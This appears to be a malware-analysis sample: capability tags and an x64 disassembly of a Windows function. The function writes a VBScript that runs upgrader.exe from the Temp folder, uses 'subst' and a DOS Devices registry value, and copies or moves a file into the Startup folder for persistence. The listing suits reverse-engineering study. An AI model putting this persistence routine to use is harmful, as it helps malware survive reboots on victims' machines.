Function at 0x140001a28
Capabilities:
Check if file exists
Copy file
Execute command
Get common file path
Move file
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x888]
sub rsp, 0x960
xor r15d, r15d
lea rcx, [rbp]
call fcn.140001290
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
sub rax, r8
lea r14d, [r15 + 7]
lea r12d, [r15 + 1]
cmp rax, r12
jb 0x140001b01
lea rax, [r8 + 1]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp qword [rdi + 0x18], r14
jbe 0x140001a8d
mov rsi, qword [rdi]
lea rax, [0x140005672]
lea r13, [0x140005670]
cmp rax, rsi
jbe 0x140001abe
lea rax, [rsi + r8*2]
cmp r13, rax
ja 0x140001abe
cmp rsi, r13
ja 0x140001ab3
mov rbx, r15
jmp 0x140001ac1
mov rbx, rsi
sub rbx, r13
sar rbx, 1
jmp 0x140001ac1
mov rbx, r12
lea rcx, [rsi + 2]
lea r8, [r8*2 + 2]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rsi]
mov r8d, 2
sub r8, rbx
lea rdx, [r13 + 2]
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140001b14
mov qword [rsp + 0x28], r12
mov rdx, r12
mov rcx, rdi
call fcn.140003b18
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r14
mov word [rdi], r15w
lea rcx, [rbp]
call fcn.140002f20
lea rcx, [rsp + 0x40]
call fcn.140001808
nop
cmp qword [rsp + 0x50], r15
je 0x140002222
lea rcx, [rbp - 0x40]
call fcn.140001700
nop
lea rdx, [rbp + 0x440]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x140002218
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
mov rcx, qword [rbp - 0x30]
sub rax, rcx
mov rdx, qword [rsp + 0x70]
cmp rax, rdx
jb 0x140002298
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], r14
cmova r9, qword [rbp - 0x40]
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], r14
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x60]
call fcn.1400036cc
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], r14
cmova r8, qword [rbp - 0x60]
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x230]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
mov rbx, rax
lea rcx, [rbp - 0x60]
call fcn.140002f20
test rbx, rbx
je 0x140002218
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rbp + 0x60]
call fcn.140002f84
nop
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x120]
call fcn.140002d20
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x1400021b5
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], r14
cmova rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp + 0x120]
call fcn.1400037a4
lea rcx, [rbp + 0x128]
call fcn.140003230
test rax, rax
jne 0x140001cab
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov rax, rdi
mov rcx, qword [rbp - 0x30]
sub rax, rcx
mov rdx, qword [rsp + 0x70]
cmp rax, rdx
jb 0x14000229e
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], r14
cmova r9, qword [rbp - 0x40]
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], r14
cmova rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x20]
call fcn.1400036cc
nop
lea rax, [rbp + 0x650]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1400021ab
lea rdx, [rbp + 0x650]
lea rcx, [rbp]
call fcn.140002f84
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400032e4
nop
lea rcx, [rbp]
call fcn.140002f20
mov rax, rdi
mov rcx, qword [rsp + 0x50]
sub rax, rcx
cmp rax, r12
jb 0x1400022a4
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], r14
cmova r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], r12
lea rax, [0x1400057a0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x60]
call fcn.1400036cc
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x20]
call fcn.1400033b0
cmp qword [rax + 0x18], r14
jbe 0x140001dab
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, eax
lea rcx, [rbp - 0x20]
call fcn.140002f20
nop
lea rcx, [rbp - 0x60]
call fcn.140002f20
test ebx, ebx
jne 0x1400021a1
mov rax, rdi
mov rcx, qword [rbp - 0x70]
sub rax, rcx
lea esi, [rbx + 9]
cmp rax, rsi
jb 0x1400022aa
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], r14
cmova r9, qword [rbp - 0x80]
mov qword [rsp + 0x30], rsi
lea rax, str.Startup_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x60]
call fcn.1400036cc
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x20]
call fcn.1400033b0
cmp qword [rax + 0x18], r14
jbe 0x140001e2e
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, eax
lea rcx, [rbp - 0x20]
call fcn.140002f20
nop
lea rcx, [rbp - 0x60]
call fcn.140002f20
test ebx, ebx
jne 0x1400021a1
mov rax, rdi
mov rcx, qword [rbp - 0x70]
sub rax, rcx
lea r13d, [rbx + 4]
cmp rax, r13
jb 0x1400022b0
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], r14
cmova rax, qword [rbp - 0x80]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, str.___
lea rcx, [rbp + 0x40]
call fcn.1400036cc
nop
lea rax, [rbp + 0x890]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 2]
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002197
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], r14
cmova rcx, qword [rbp + 0x40]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], r14
cmova rdx, qword [rsp + 0x40]
mov eax, dword [rbp + 0x50]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, r12d
xor r8d, r8d
mov rcx, qword [rbp + 0x890]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x890]
test eax, eax
je 0x140001f20
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140002197
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rsp + 0x50]
sub rax, rcx
cmp rax, 6
jb 0x1400022b6
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], r14
cmova rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 6
lea r9, str.subst
lea rcx, [rbp - 0x60]
call fcn.1400036cc
nop
lea r8, [0x140005850]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xc0]
call fcn.1400032e4
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.1400033b0
nop
lea r8, [0x14000584c]
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1400032e4
nop
lea rcx, [rbp + 0xa0]
call fcn.140002f20
nop
lea rcx, [rbp + 0xc0]
call fcn.140002f20
nop
lea rcx, [rbp - 0x60]
call fcn.140002f20
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], r14
cmova rcx, qword [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rax, rdi
mov rcx, qword [rbp - 0x70]
sub rax, rcx
cmp rax, r12
jb 0x1400022bc
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], r14
cmova r9, qword [rbp - 0x80]
mov qword [rsp + 0x30], r12
lea rax, [0x1400057a0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.1400036cc
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp - 0x20]
lea rcx, [rbp]
call fcn.1400033b0
cmp qword [rax + 0x18], r14
jbe 0x14000204b
mov rax, qword [rax]
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, eax
lea rcx, [rbp]
call fcn.140002f20
nop
lea rcx, [rbp - 0x20]
call fcn.140002f20
test ebx, ebx
je 0x14000218a
mov rax, rdi
mov rcx, qword [rsp + 0x50]
sub rax, rcx
cmp rax, rsi
jb 0x1400022c2
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], r14
cmova r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], rsi
lea rax, str.Startup_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp]
call fcn.1400036cc
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp]
lea rcx, [rbp + 0x100]
call fcn.1400033b0
mov rbx, rax
mov rax, qword [rsp + 0x50]
sub rdi, rax
cmp rdi, r12
jb 0x140002292
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], r14
cmova r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], r12
lea rcx, [0x1400057a0]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x20]
call fcn.1400036cc
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xe0]
call fcn.1400033b0
cmp qword [rbx + 0x18], r14
jbe 0x140002134
mov rbx, qword [rbx]
cmp qword [rax + 0x18], r14
jbe 0x14000213d
mov rax, qword [rax]
mov r8d, r13d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ebx, eax
lea rcx, [rbp + 0xe0]
call fcn.140002f20
nop
lea rcx, [rbp - 0x20]
call fcn.140002f20
nop
lea rcx, [rbp + 0x100]
call fcn.140002f20
nop
lea rcx, [rbp]
call fcn.140002f20
test ebx, ebx
je 0x14000218a
lea rcx, [rsp + 0x60]
call fcn.1400015b4
nop
lea rcx, [rbp + 0x80]
call fcn.140002f20
nop
lea rcx, [rbp + 0x40]
call fcn.140002f20
nop
lea rcx, [rbp - 0x80]
call fcn.140002f20
nop
lea rcx, [rbp + 0x20]
call fcn.140002f20
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140002cb4
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x60]
call fcn.140002f20
nop
lea rcx, [rbp - 0x40]
call fcn.140002f20
nop
lea rcx, [rsp + 0x40]
call fcn.140002f20
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, r14
jbe 0x140002271
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000226c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000226c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003ebc
lea r11, [rsp + 0x960]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011d0
nop
call fcn.1400011d0
nop
call fcn.1400011d0
nop
call fcn.1400011d0
int3
call fcn.1400011d0
int3
call fcn.1400011d0
nop
call fcn.1400011d0
nop
call fcn.1400011d0
int3
call fcn.1400011d0
int3